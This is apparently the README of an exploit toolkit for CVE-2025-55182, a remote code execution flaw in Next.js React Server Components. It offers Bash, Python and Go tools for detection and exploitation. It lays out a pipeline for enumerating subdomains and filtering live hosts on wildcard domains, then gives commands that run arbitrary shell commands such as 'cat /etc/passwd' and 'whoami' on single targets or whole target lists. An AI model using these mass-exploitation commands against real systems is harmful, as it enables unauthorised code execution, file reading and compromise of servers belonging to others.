CVE-2025-55182: React Server Components RCE Scanner

A comprehensive toolkit for detecting and exploiting CVE-2025-55182, a Critical Remote Code Execution vulnerability in Next.js applications using React Server Components.

This repository features a unified Bash scanner (Single & Mass mode), Python/Go implementations, and a bug bounty reconnaissance workflow.

---

📂 Repository Structure

• scanner.sh — All-in-one Bash script for Single Target and Mass Scanning
• python/exploit.py — Stable Python implementation (better JSON escaping)
• go/main.go — High-performance implementation (compilable)

---

🚀 Reconnaissance Workflow (Bug Bounty Methodology)

For mass hunting on wildcard domains, use this pipeline to filter targets before scanning:

# 1. Enumerate subdomains
subfinder -dL wildcards.txt -all -recursive > subs.txt

# 2. Filter for live hosts
httpx -l subs.txt -o live.txt

# 3. Pre-scan detection using Nuclei (optional)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt

---

🛠️ Bash Scanner Usage (Recommended)

The scanner.sh script supports single target scans and mass scanning from a file list.

🔧 Installation

chmod +x scanner.sh

---

1️⃣ Single Target Mode

Best for verifying a specific target with verbose output.

# Basic check (defaults to "id")
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d https://target.com -c "cat /etc/passwd"

---

2️⃣ Mass Scan Mode

Efficiently scans a list of URLs and saves vulnerable hosts to a file.

# Scan a list of URLs
./scanner.sh -l live.txt -c "whoami"

# Custom output file
./scanner.sh -l live.txt -o my_bounty.txt

Options

Flag	Description
-d, --domain	Single target URL
-l, --list	File containing list of URLs
-c, --command	Command to execute (default: id)
-o, --output	Output file for vulnerable hosts (default: vulnerable_hosts.txt)

---

🐍 Python Version

Use this if you encounter issues with Bash escaping special characters.

Requirements

pip install requests

Usage

python3 python/exploit.py -u http://target.com -c "uname -a"

---

🐹 Go Version

High performance, minimal dependencies.

Run directly

go run go/main.go -u http://target.com -c "id"

Build binary

cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com
